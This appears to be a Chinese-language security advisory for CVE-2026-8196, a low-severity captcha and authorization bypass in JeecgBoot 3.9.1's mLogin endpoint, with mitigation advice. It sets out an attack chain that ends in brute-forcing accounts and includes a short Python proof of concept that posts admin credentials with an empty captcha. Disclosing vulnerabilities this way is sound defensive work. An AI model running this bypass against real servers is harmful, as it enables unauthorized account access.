IPBUF安全漏洞报告
English
CVE-2026-8196 CVSS 3.7 低危

CVE-2026-8196 JeecgBoot mLogin端点授权绕过漏洞

披露日期: 2026-05-09

漏洞信息

漏洞编号
CVE-2026-8196
漏洞类型
授权绕过
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
JeecgBoot

相关标签

授权绕过JeecgBoot验证码绕过CVE-2026-8196

漏洞概述

JeecgBoot 3.9.1版本中存在安全缺陷,涉及LoginController.java文件的mLogin端点。由于该组件在处理特定请求时存在逻辑缺陷,导致攻击者能够绕过授权验证。该漏洞允许远程攻击者无需认证即可利用,尽管攻击复杂度较高,但可能导致系统机密性受到低程度影响。

技术细节

该漏洞位于JeecgBoot后端代码的LoginController.java中,具体影响mLogin接口。漏洞原理在于该接口在处理移动端登录请求时,未对验证码进行严格的校验或存在校验逻辑缺陷。攻击者可以通过构造恶意HTTP请求,向服务器发送登录数据包,在缺少有效验证码或验证码为空的情况下绕过安全检查。由于CVSS评分为3.7(AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N),利用难度较高,主要风险在于可能被用于配合暴力破解攻击,从而泄露用户账户信息。

攻击链分析

STEP 1
侦察
识别目标系统为JeecgBoot 3.9.1,并确认mLogin接口开放。
STEP 2
利用
向mLogin端点发送构造的HTTP POST请求,在载荷中移除或篡改验证码参数,试图绕过服务端校验。
STEP 3
后渗透
如果绕过成功,攻击者可进行暴力破解攻击或获取敏感的账户信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL target_url = "http://target-ip/sys/mLogin" # Payload data bypassing captcha verification payload = { "username": "admin", "password": "password123", "captcha": "" # Bypass by sending empty or specific bypass string } try: response = requests.post(target_url, data=payload) if response.status_code == 200 and "token" in response.text: print("[+] Exploit successful! Authorization bypassed.") else: print("[-] Exploit failed.") except Exception as e: print(f"Error: {e}")

影响范围

JeecgBoot 3.9.1

防御指南

临时缓解措施
建议管理员临时在网络边界设备(如WAF)上配置规则,强制校验mLogin接口的验证码字段,防止空值或无效值通过。

参考链接